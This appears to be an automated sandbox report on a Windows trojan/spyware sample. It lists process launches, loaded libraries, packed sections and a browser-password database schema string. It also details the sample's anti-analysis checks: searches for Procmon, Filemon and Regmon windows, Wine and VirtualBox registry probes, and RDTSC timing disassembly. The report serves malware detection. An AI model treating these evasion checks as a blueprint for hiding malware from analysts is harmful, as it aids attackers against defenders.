Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1392389216.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392192766.0000000005DC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414687319.0000000005DB7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 31%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2084,i,5716946002781068814,4123827612184588113,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1904,i,16795876355070056049,5911433599732302712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2084,i,5716946002781068814,4123827612184588113,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1904,i,16795876355070056049,5911433599732302712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1824768 > 1048576

Source: file.exe

Static PE information: Raw size of fwylhceq is bigger than: 0x100000 < 0x193c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.8d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fwylhceq:EW;ajtvkrhi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fwylhceq:EW;ajtvkrhi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c85b9 should be: 0x1c7998

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fwylhceq
Source: file.exe	Static PE information: section name: ajtvkrhi
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9A579 push es; iretd	0_3_05D9A5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0A6F push FFFFFFDBh; iretd	0_3_05DA0A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0A6F push FFFFFFDBh; iretd	0_3_05DA0A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9B439 push cs; retf	0_3_05D9B44C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9A579 push es; iretd	0_3_05D9A5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0A6F push FFFFFFDBh; iretd	0_3_05DA0A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DA0A6F push FFFFFFDBh; iretd	0_3_05DA0A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D9B439 push cs; retf	0_3_05D9B44C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06351E34 push 2E6E6DFEh; mov dword ptr [esp], eax	0_2_063533B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06352E22 push ecx; mov dword ptr [esp], edx	0_2_06352E23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06352E22 push edx; mov dword ptr [esp], ebx	0_2_06352E27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06351E29 push 5C2DB660h; mov dword ptr [esp], ebx	0_2_06351A4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06351E29 push ecx; mov dword ptr [esp], eax	0_2_06352B20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06351E29 push 52B446EAh; mov dword ptr [esp], ebx	0_2_06354F2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06351E29 push ebp; mov dword ptr [esp], esp	0_2_06354F33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0634BE0B push ds; ret	0_2_0634BE14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push 19B48C38h; mov dword ptr [esp], edi	0_2_0636F2F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push 4F0F3C3Eh; mov dword ptr [esp], ebp	0_2_0636F305
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push eax; mov dword ptr [esp], 68A1E640h	0_2_0636F381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push ebx; mov dword ptr [esp], esp	0_2_0636F410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push 587CBF2Fh; mov dword ptr [esp], eax	0_2_0636F47B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push 260CAF91h; mov dword ptr [esp], eax	0_2_0636F49A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push ebp; mov dword ptr [esp], esi	0_2_0636F4BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push ebx; mov dword ptr [esp], 37D36E41h	0_2_0636F4E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EE7A push 54FA2707h; mov dword ptr [esp], esi	0_2_0636F54E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06353678 push 4F0F2AF0h; mov dword ptr [esp], eax	0_2_06353696
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0634E66A push edi; mov dword ptr [esp], ebp	0_2_0634F822
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0634E66A push ebp; mov dword ptr [esp], eax	0_2_0634F8F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0634BEB0 push eax; retf	0_2_0634BEB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0634EEBF push edx; mov dword ptr [esp], 3F3D9356h	0_2_0634F12F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063506A7 push ebx; mov dword ptr [esp], edx	0_2_0635400E

Source: file.exe	Static PE information: section name: entropy: 7.986371479019433
Source: file.exe	Static PE information: section name: fwylhceq entropy: 7.953384330961557

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B87C second address: 92B896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B896 second address: 92B89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9EA66 second address: A9EA89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FAA8CDD0FD8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DB9E second address: A9DBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DBA2 second address: A9DBC9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA8CDD0FC6h 0x00000008 jp 00007FAA8CDD0FC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007FAA8CDD0FD1h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DEAB second address: A9DEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FAA8CB48456h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E01B second address: A9E02E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E02E second address: A9E067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB48469h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 jnc 00007FAA8CB48456h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jbe 00007FAA8CB48456h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA17F1 second address: AA17F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA17F7 second address: AA181A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA8CB48467h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA181A second address: AA181E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA181E second address: AA184F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 or dword ptr [ebp+122D2086h], eax 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+124473FFh], esi 0x00000016 mov dx, 149Dh 0x0000001a call 00007FAA8CB48459h 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007FAA8CB4845Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA184F second address: AA18A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FAA8CDD0FC6h 0x00000009 jmp 00007FAA8CDD0FCEh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push esi 0x00000013 jmp 00007FAA8CDD0FD8h 0x00000018 pop esi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FAA8CDD0FD7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA18A1 second address: AA18A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA18A6 second address: AA18B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA199C second address: AA1A0B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAA8CB4846Fh 0x00000008 jmp 00007FAA8CB48469h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FAA8CB48458h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov si, ax 0x0000002d sub esi, 784E3C56h 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 sub dword ptr [ebp+122D1AABh], esi 0x0000003c mov ax, bx 0x0000003f popad 0x00000040 mov dword ptr [ebp+122D2DE5h], ebx 0x00000046 push 3314C31Ah 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007FAA8CB48458h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1A0B second address: AA1A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3314C39Ah 0x00000010 movsx edx, si 0x00000013 push 00000003h 0x00000015 add di, E4C0h 0x0000001a push 00000000h 0x0000001c mov ecx, 67D9D57Dh 0x00000021 mov dword ptr [ebp+122D2D31h], ebx 0x00000027 push 00000003h 0x00000029 add edx, dword ptr [ebp+122D35BDh] 0x0000002f call 00007FAA8CDD0FC9h 0x00000034 push ebx 0x00000035 push ebx 0x00000036 jmp 00007FAA8CDD0FD4h 0x0000003b pop ebx 0x0000003c pop ebx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 push eax 0x00000044 pop eax 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1A6B second address: AA1AA2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CB4845Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f jmp 00007FAA8CB48469h 0x00000014 pop edx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AA2 second address: AA1AAC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AAC second address: AA1AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AB2 second address: AA1ACC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FAA8CDD0FC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1ACC second address: AA1AD6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
